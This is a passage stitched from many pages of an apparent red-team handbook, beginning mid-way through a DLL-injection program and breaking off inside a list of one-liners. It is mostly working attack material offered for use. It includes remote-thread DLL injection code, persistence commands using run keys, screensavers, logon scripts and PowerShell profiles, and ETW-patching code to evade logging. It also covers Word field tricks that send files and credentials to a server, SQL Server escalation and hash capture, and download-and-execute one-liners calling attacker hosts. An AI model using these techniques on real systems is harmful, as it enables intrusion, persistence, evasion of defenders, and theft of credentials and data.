negative one if the process is not found } int main(void) { char dllpath\[\] = TEXT("C:\\\\simple.dll"); int pid = FindProcessPid("notepad.exe"); printf("notepad's Pid is %d\\n", pid); void \*pThreadStart = (PTHREAD\_START\_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); HANDLE han\_proc = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, (DWORD)(pid)); void \* pRem = VirtualAllocEx(han\_proc, NULL, sizeof(dllpath), MEM\_COMMIT, PAGE\_READWRITE); WriteProcessMemory(han\_proc, pRem, (LPVOID)dllpath, sizeof(dllpath), NULL); CreateRemoteThread(han\_proc, NULL, 0, (LPTHREAD\_START\_ROUTINE)pThreadStart, pRem, 0, NULL); CloseHandle(han\_proc); getchar(); } \`\`\` For the sake of simplicity, all my DLL does is popup a messagebox. Alright, so lets see this in action. !\[\](/files/-Mh-Jvx8N\_\_qJ0Si\_\_oZ) !\[\](/files/-Mh-K-laplqsjuVGo4RM) As we can see, the PIDs match. Now lets press enter and see our DLL get injected to the process. We then get a simple "attached" messagebox popup in our notepad process. !\[\](/files/-Mh-TQYhoEqdy5tVJv5h) Let's investigate this further. Open up the notepad that got injected into and look at the DLLs of the process. !\[\](/files/-Mh-TxPOg9vF4zDoYXUh) As we can see, our payload dll named "simple.dll" is loaded into the notepad process. If we look at the threads of the process, we can see LoadLibraryA(which is used to load our dll) is one of them. !\[\](/files/-Mh-U9JxZnlGu4BWUuk0) Now lets check to see the strings of notepad and see if the path to our dll is present in there. You can use the simple strings function in the memory tab in process hacker to search for a string. You should be able to find the path to your dll in a memory region like this: !\[\](/files/-Mh-UzcvTGGtIASb3EPD) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi.md). # WMI WMI can be used to access remote windows components using RPC calls on TCP port 135. Ex. \`\`\` wmic /node:REMOTEIP /user:DOMAIN\\USER /password:PASSWORD process call create“C:\\Windows\\System32\\notepad.exe” \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell.md). # SCShell SCShell is a file less lateral movement tool that uses ChangeServiceConfigA to run commands authenticating which via DCERPC instead of SMB. It can be used without creating new services or dropping files on the remote system. It works by remotely opening the service and modifying the binary path name via the ChangeServiceConfigA API. It is recommended to dechain your commands so your payload will not be killed when the service is stopped. Example us age of SCShell is \`\`\` PS > SCShell.exe XblAuthManager "C:\\windows\\system32\\cmd.exe /c calc.exe" . \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin.md). # No Admin? \* Do you have any access to file shares? \* wwwroot: drop a web shell \* web.config: access to cleartext creds \* backdooring any files with your payload \* Pivot through SQL server with your current credentials or with any SQL scripts you have found \* Internal spear phishing \* Pivot to web and cloud services and try to escalate privileges from there(Azure, exchange etc.) \* Search for any low hanging VNC creds or SSH keys/passwords --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles.md). # Powershell Profiles When PowerShell is executed, it looks of for these special settings stored in profiles. We can modify these profiles to execute arbitrary commands, in which we will abuse this for persistence. Note that we may be able to escalate privileges this way if our profile is loaded and executed by an account with higher privileges. With PowerShell Profiles, we are able customize who the profile applies to and host computers on the local computer. Locations of these profiles are in: !\[\](/files/-MfpVAstuMPwQPO\_m7O0) We can issue the following command to find profiles \`\`\` $PROFILE | select \* \`\`\` To abuse this for persistence, simply issue the command: \`\`\` echo c:\\executable > $PROFILE \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection.md). # Misdirection - \[Command Line Argument Spoofing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md) - \[PPID Spoofing via CreateProcess\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess.md) - \[Switching Parents\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents.md) - \[Dechaining via WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders.md). # Junction folders (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse.md). # Field Abuse Fields are a feature in MS Word to create dynamic components which automate tasks like updating dates or page numbering. To insert a field, go to: insert > quickparts > fields. You will then have a whole list of field options to choose from. ## Credential Popup This uses the INCLUDEPICTURE field that points to a webserver that replies back with a basic HTTP basic authentication request. The URL of the INCLUDPICTURE is made dynamic with the USERNAME field. Note that word does not continue loading until the picture is loaded. \`\`\` { INCLUDEPICTURE \\d "http:///{ USERNAME \\\* MERGEFORMAT}"\\\* MERGEFORMATINET } \`\`\` \*Note: your server needs to reply back with basic HTTP authentication to capture credentials\* ## Arbitrary File Read The INCLUDETEXT field will read a file and include its contents in the document. As you can see, this is self explanatory on how we will read the file. To send the file contents back to a server, the INCLUDEPICTURE field will be used. NOTE: (CVE-2002-1143) abused the INCLUDETEXT and INCLUDEPICTURE to arbitrarily read a file, but Microsoft fixed this by no longer automatically updating the INCLUDETEXT fields on various events. \`\`\` { INCLUDEPICTURE { QUOTE "http://server" & { FILENAME \\p } & { INCLUDETEXT "c:\\read\\file.txt" } } \\d } \`\`\` To bypass this mitigation, we will use the MACROBUTTON field with the option "updatefields" which will update file, and trigger the arbitrary file read. \`\`\` { MACROBUTTON UpdateFields { INCLUDEPICTURE \\d "http://picture.com/picture.png" \\\* MERGEFORMATIINET}{ INCLUDEPICTURE "http:///?{ INCLUDETEXT "c:\\\\windows\\\\panther\\\\unattend.xml" \\c XML \\\* MERGEFORMAT}}" \\d \\\* MERGEFORMAT }} \`\`\` This will make a picture-button hybird in which if the user double clicks on this and accepts a prompt, the MACROBUTTON field will update all the fields and cause the said file to be posted to our web server. ## Resources {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents.md). # Switching Parents - \[Dechaining via WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata.md). # File metadata I haven't researched how to do this in c++, but you can use file properties in a macro to hide your payload. This one gets the payload in the author property. \`\`\` Private Sub Workbook\_Open() Dim author As String author = ActiveWorkbook.BuiltinDocumentProperties("Author") Dim ws As Object Set ws = CreateObject("WScript.Shell") With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -") .StdIn.WriteLine author .StdIn.WriteBlankLines 1 .Terminate End With End Sub \`\`\` Make sure to manually place your payload in the Author property. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs.md). # IOCs Here is a picture from "Securi-Tay 2020: Offensive Tradecraft - Defence Evasion" by - Paul Laîné which briefly sums up the technologies used by AVs to detect malware !\[\](/files/-MgDmR4LDCdV\_JR1MnDp) We as attackers have to find ways to bypass and hide these detections. I would also like to add a couple more things \* Sandboxing: Trigger payload in a controlled environment to track heuristic behaviors and flag known malware behavior \* Data Mining: Uses a known data set like virustotal to make algorithms to detect AV or just to build signatures to flag for \* In memory scanning: periodically scans or scans executable regions for malware in real time to detect malware \* Library load events \* Kernel callbacks \* EtwTi Kernel-mode event provider --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers.md). # Screen Savers Screen Savers are triggered by user inactivity. We can set these screensavers to run our malware after a certain timeframe of inactivity to achieve persistence. To do this, issue the following command: \`\`\` reg add "HKEY\_CURRENT\_USER\\Control Panel\\Desktop" /v "SCRNSAVE.EXE" /t REG\_SZ /d "c:\\exec" /f \`\`\` To configure the time period of user inactivity until our screen saver launches(in seconds) \`\`\` reg add "HKEY\_CURRENT\_USER\\Control Panel\\Desktop" /v "ScreenSaveTimeOut" /t REG\_SZ /d "10" /f \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses.md). # ETW Bypasses ETW is used by windows to trace and log system events. Attackers can clear these logs but this itself creates a new event log. The CLR sends ETW events to any ETW consumers, which provides means to detect suspicious .NET use. Here are some ways to tamper and disable ETW so that event logs don't popup. (note that the commands below can be replicated by just modifying the registry) ## Autologger Provider Removal This removes a provider entry from autologger, this will cause events to stop flowing to their trace session. To list all providers, we can issue this command: \`\`\` logman query providers \`\`\` To remove a provider: \`\`\` Remove-EtwTraceProvider -AutologgerName EventLog-Application -Guid '{GUID}' \`\`\` This will end up deleting the registry key: \`\`\` HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\{GUID} \`\`\` ## Provider Enable Property Modification This alerts the enable keyword of an autologger session. By default ETW provider entries in the EventLogApplication autoloffer sessions have a value of 0x41, this is equals to EVENT\\\_ENABLE\\\_PROPERTY\\\_SID and EVENT\\\_ENABLE\\\_PROPERTY\\\_ENABLE\\\_KEYWORD\\\_0. Events generated by a provider are logged even if the keyword value is set to 0. If we replaces the property EVENT\\\_ENABLE\\\_PROPERTY\\\_ENABLE\\\_KEYWORD\\\_0 for EVENT\\\_ENABLE\\\_PROPERTY\\\_IGNORE\\\_KEYWORD\\\_0, it will result in events where the keyword is 0 not logged. PowerShell events supplies a 0 keyword value and as a result they will not appear in the PowerShell event log. \`\`\` Set-EtwTraceProvider -Guid '{GUID}' -AutologgerName 'EventLog-Application' -Property 0x11 \`\`\` ## Removing ETW Providers From a Trace Session We can just simply remove an ETW provider from a trace session which will not log until the next reboot or if the provider is restored. \`\`\` logman update trace EventLog-Application --p MicrosoftWindows-PowerShell -ets \`\`\` ## EtwEventWrite Patching EtwEventWrite function is responsible of writing events to a session. This can be patched to evade ETW patches due to the fact that this is userland and is in a process that an attacker can control. \`\`\`csharp internal static void PatchEtwEventWrite() { bool result; var hook = new byte\[\] { 0xc2, 0x14, 0x00, 0x00 }; var address = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite"); result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE\_READWRITE, out uint oldProtect); Marshal.Copy(hook, 0, address, hook.Length); result = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole); } \`\`\` We can also do this in c++: \`\`\`csharp DWORD oldprotect = 0; void \* addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); VirtualProtect\_p(addr, 4096, PAGE\_EXECUTE\_READWRITE, &oldprotect); #ifdef \_WIN64 memcpy(addr, "\\x48\\x33\\xc0\\xc3", 4); // xor rax, rax; ret #else memcpy(addr, "\\x33\\xc0\\xc2\\x14\\x00", 5); // xor eax, eax; ret 14 #endif VirtualProtect\_p(addr, 4096, oldprotect, &oldprotect); \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization.md). # Minimization - \[Commands to Avoid\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid.md) - \[Pivoting\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting.md) - \[Benefits of Using APIs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis.md) - \[Thread-less Payload Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution.md) - \[DLL Hollowing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes.md). # Unorganized Notes Check out this blog post for a more organized set if notes {% embed url="" %} ## Processes A running instance of a program, processes don't run they manage, threads do the running. A process contains: 1. executable program, contains code and data 2. private virtual address space, used for allocating memory 3. a primary token which contains security context, this is used by threads 4. private handle table to executive objects, like events, semaphores and files 5. threads for execution \* A process is identified by its PID \* Note that the executable program part is not unique part of the program like the PID ## .NET has 2 major things \* CLR: run time engine for .NET which has a JIT compiler that translates CIL into hardware CPU machine language, garbage collector, type verification, code access security, and more. It’s implemented as a COM in-process server (DLL) and uses various things from win api \* FCL: large collection of types ## Virtual Memory \* every process has its own virtual, private and linear address space. \* this address space starts out around empty since ntdll and executable image are the first to be mapped followed by more subsystem dlls \* address space from main is private, other processes cannot access it directly \* 32 bit address space is 32 gb, we can specify to use more address spaces if we want \* 64 bit address space is 128 TB, for 32 bit on 64 bit the address space is 2gb > Each process has its own address space, which makes any process address relative, rather thanabsolute. For example, when trying to determine what lies in address 0x20000, the address itselfis not enough; the process to which this address relates to must be specified. \* memory itself is virtual, there is an indirect relationship between an address range and exact location in RAM \* if memory is not mapped to RAM, CPU will raise a page fault exception that will cause the memory manager’s page fault handler to fetch the data from the appropriate file, copy it to RAM, make the required changes in the page table entries that map the buffer, and instruct the CPU to try again. \* unit of memory management is called page \* size of page is based on CPU type page states can be in three states \* free: page is not allocated in anyway, accessing this will result in violation \* committed: reverse of free, \* reserved: the page is not committed, but the address range is reserved for possible future commitment. From the CPU’s perspective, it’s the same as Free – any access attempt raises an access violation exception, but the virtualalloc or ntallocatevirtualmemory that does not specify an address would not allocate in the reserved region ## System Memory \* user mode is lower part of address space, kernel mode is higher part of address space \* 32 bit the operating system resides in the upper 2 GB of virtual address space, from address0x8000000to0xFFFFFFFFF \* On 64-bit systems on Windows 8.1, Server 2012 R2 and later, the OS takes the upper 128 TB ofvirtual address space ## Threads A thread Contains: 1. Current access mode, either user or kernel.(contents of a set of CPU regisers) 2. thread id 3. Execution context, including processor registers and execution state. 4. One or two stacks, used for local variable allocations and call management. 5. Thread Local Storage array, which provides a way to store thread-private data with uniform access semantics. 6. Base priority and a current (dynamic) priority. 7. Processor affinity, indicating on which processors the thread is allowed to run on The most common states a thread can be in are: 1. running 2. ready 3. waiting threads information, registers, private storage are called the thread context ## Syscalls \* translate to user mode calls to system mode calls. \* a system call number is put into eax, and then the syscall or sysenter thing is called which transitions into kernel mode \* the SSDT uses the value in EAX, and jumps into the syscall itself ## System Architecture !\[\](/files/-Mg76UO-NyDsi0JWRQLM) \* subsystem dlls: dlls that implement apis of subsystem, this is a certain view of capabilities exposed by the kernel. Ex. kernel32.dll, user32.dll, gdi32.dll etc. \* NTDLL.DLL: lower layer of code in user mode, makes transition from user mode into kernel mode and implements the heap manager, image loader and some part of the user mode thread pool. \* service processes: normal windows processes that communicate with the SCM, and allow some control over their life time. the SCM can stop, pause, resume etc. to services \* executive: upper layer of Ntoskrnl.exe(the kernel), it hosts most of the code in kernel mode, and includes the various managers. \* kernel: fundamental kernel mode os things \* win32k.sys: kernel mode component of the windows subsystem, handles the UI and GDI apis. \* HAL: closes to the CPU, allows device drivers to user APIs that do not quire detail and specific knowledge of things like DMA controller, this layer is mostly useful for device drivers written to handle hardware devices. \* (TODO) ## Handles and Objects \* kernel exposes various types of objects for use by user mode processes, the kernel itself and kernel mode drivers, instance of these are data structures created by object manager \* objects are reference counted \* object can reside in system space, they cannot be access directly in user mode, the must use handles \* handles are index to a entry in a table maintained on a process by process basis that points to a kernel object in system space \* the kernel can use a direct pointer or handle, the choice is based on the API you want to call, Kernel code can get a pointer to an object given a valid handle using the ObReferenceObjectByHandle function. \* handles are multiples of 4, 0 is not valid handle \* each object points to an object type, which holds info on the type itself, these are exported as kernel global variables --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths.md). # Unquoted Service Paths If a binary path of a service has a whitespace, no quotes, and the right ACLs, we may be able to escalate our privileges. For more info: {% embed url="" %} We can query for it with: \`\`\` wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\\windows\\\\" |findstr /i /v """ \`\`\` If it the binary path has a whitespace and no quotes, we will investigate the folder that holds the name that has the whitespace. For example if it was C:\\Program Files\\software\\soft one , We would check the ACLs for c:\\ and C:\\Program Files\\software\\\\. If we have write permissions to the file, we can elevate our privileges by hijacking the executable in the folder. For example, we would try to move an executable called "soft" to C:\\Program Files\\software\\ so the service would run our executable with elevated privileges. To check if we have access: \`\`\` icacls c:\\folder \`\`\` If your group(which is probably Users) have W privileges to the folder, it means it is vulnerable and you can move your executable to the folder. You can do this with this command: \`\`\` copy soft.exe C:\\Program Files\\software\\soft.exe \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk.md). # LNK (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys.md). # Registry Keys Adding your executable to one one of these "run keys" will cause the executable to run when a user logs in. An example of these run keys are: \`\`\` HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \`\`\` To abuse this for persistence, we can simply issue the following command \`\`\` reg add "HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v NameOfKey /t REG\_SZ /d c:\\program /f \`\`\` Note that this only works in the context of the current user, to make this apply to all users on the machine, you will have to use the HKLM hive. Doing this requires admin privileges More examples of run keys are: \* \`HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\` \* \`HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\` \* \`HKEY\_LOCAL\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\` \* \`HKEY\_LOCAL\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration.md). # Enumeration - \[Situational Awareness\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness.md) - \[Recon Commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands.md) - \[.NET AD Enum commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands.md) - \[WMIC commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands.md) - \[WMI queries from c++\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation.md). # Privilege Escalation ## Initial Foothold After you find the sql servers in the environment, you should now try to gain initial foothold into those SQL servers. We will try to escalate to a SQL login now. ### Default passwords This command launches a default password test against the SQL server using PowerUpSQL: \`\`\` >> Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw or >> Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw –> Start the attack from unauthenticated user perspective. Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw –> Start the attack from domain user perspective. \`\`\` If you already have a domain set of credentials, this may work on the SQL server. You can test this like so: \`\`\` >> Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded –Username username –Password password (manually) or >> Get-SQLInstanceDomain | Get-SQLConnectionTest or >> Get-SQLInstanceLocal | Get-SQLConnectionTest \`\`\` ### MITM If the SQL server communications are unencrypted, we may be able to inject our own queries and inject our own SQL login: ## To Sysadmin After you have gotten initial access to a SQL server. ### Blind SQL Login Enumeration We can begin to list all SQL server logins and try to test weak passwords on those accounts. We can do this with: \`\`\` SELECT name FROM sys.syslogins SELECT name FROM sys.server\_principals \`\`\` Note that this only gives a certain subset of sql logins. To find more sql logins, we can utilize suser\\\_name which returns the principal name for a given principal id. We can find all sql logins by brute forcing the principal ID in the suser\\\_name function. \`\`\` SELECT SUSER\_NAME(1) SELECT SUSER\_NAME(2) ... SELECT SUSER\_NAME(100) ... \`\`\` We can then being to password spray or brute force these accounts. This can be automated with PowerUpSQL: \`\`\` >> Get-SQLFuzzServerLogin –Instance ComputerName\\InstanceName \`\`\` ### Impersonation There is a feature in SQL server that allows a less privileged user to impersonate another with more access. For impersonation the queries/commands to be executed are not limited in any way, but for command execution, the database has to be configured as trustworthy. We cannot enumerate which logins we can impersonate due to our unprivileged nature, but we can check which logins allow impersonation with this: \`\`\` SELECT distinct b.name FROM sys.server\_permissions a INNER JOIN sys.server\_principals b ON a.grantor\_principal\_id = b.principal\_id WHERE a.permission\_name = 'IMPERSONATE' \`\`\` To manually check if you can impersonate a user(SA in our case), issue these commands: \`\`\` SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'sa' SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') \`\`\` ### Database Links These are a persistent connection between two SQL servers. They allow server A to communicate with server B and pull data from server B, and vice versa without a user being logged in. Database links can be configured to run as the current user who’s logged in, but some cases they can be configured to run in another users context, and can lead to privilege escalation if ran as another high privileged user like SA. To query information to a linked server, we can use OpenQuery. Also note that OpenQuery is available to everyone. To find linked servers, we can use \`\`\` EXEC sp\_linkedservers \`\`\` and to perform queries on a SQL server \`\`\` select version from openquery("linkedserver", 'query') \`\`\` From there, we can perform queries to see the execution context of the user. If it is privileged like SA. we may be able to get sensitive information or get code execution via xp\\\_cmdshell. Tools to automate this are: ## UNC Path Injection If a SQL server grabs a file from a UNC path, The remote file is grabbed under the context of the service account that is running SQL Server. If we can force the user to authenticate to our UNC path, we may be able to capture its NetNTLM hash to either crack or relay it. If the attack is successful, we will become a DBA or a local admin. We can use PowerUpSQL and Inveigh for this: \`\`\` Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker\_controlled\_IP \`\`\` Or we can setup responder: \`\`\` sudo responder -I tap0 \`\`\` ## OS Command Execution PowerUpSQL \`\`\` >> $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami" >> $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami" >> $Targets | Invoke-SQLOSR -Verbose -Command "Whoami" \`\`\` When executing OS commands through SQL Server, those commands are executed in the context of the service account. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md). # Logon Scripts Logon scripts will run every time the user logs on. These are intended to ease admins by automatically executing commands during session initiation, but as attackers, we can abuse this to establish persistence. To perform this persistence technique, issue the following command \`\`\` reg add "HKEY\_CURRENT\_USER\\Environment" /v UserInitMprLogonScript /d "c:\\script.bat" /t REG\_SZ /f \`\`\` Our bat file can simply contain the directory of our payload to execute. \`\`\` @ECHO OFF C:\\ \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process.md). # Cool ways of Calling a Process \`\`\` wmic process call create "\\\\?\\UNC\\127.0.0.1\\C$\\windows\\system32\\calc.exe" wmic process call create "\\\\.\\GLOBALROOT\\??\\UNC\\127.0.0.1\\C$\\windows\\system32\\calc.exe" wmic process call create "\\\\;lanmanredirector\\127.0.0.1\\C$\\windows\\system32\\calc.exe" wmic process call create "\\\\.\\globalroot\\osdataroot\\windows\\notepad.exe" \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities.md). # Web Vulnerabilities - \[Code Grepping\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping.md) - \[PHP Cheatsheet\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners.md). # One Liners Powershell: \`\`\` powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=\[Net.CredentialCache\]::DefaultNetworkCredentials;iwr('https://attacker.com/payload.txt')|iex" \`\`\` WMI: \`\`\` wmic os get /format:https://evil/payload.xsl” \`\`\` Regsvr32: \`\`\` regsvr32 /u /n /s /i:http://evil/payload.sct scrobj.dll regsvr32.exe /s /n /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll Execute the specified remote .SCT script with scrobj.dll regsvr32.exe /s /u /i:file.sct scrobj.dll Execute the specified local .SCT script with scrobj.dll. regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /u /n /s /i:\\\\webdavserver\\folder\\payload.sct scrobj.dll \`\`\` MSHTA \`\`\` mshta vbscript:Execute(“GetObject(“”scirpt:Http://evil/file.sct””)”) mshta.exe http:///payload.hta mshta.exe https://malicious.domain/runme.hta \`\`\` Cscript: \`\`\` cscript //E:jscript \\\\webdav\\payload.txt \`\`\` BITSADMIN: \`\`\` cmd.exe c "bitsadmin transfer myjob download priority high http://ourc2server.com/download/c2agent.exe c:\\agent.exe&start agent.exe" bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\local\\\\temp\\\\xyz.exe \`\`\` MSbuild: \`\`\` msbuild.exe //ip/malicious\_code.csproj cmd /V /c "set MB="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe" & !MB! /noautoresponse /preprocess \\\\webdavserver\\folder\\payload.xml > payload.xml & !MB! 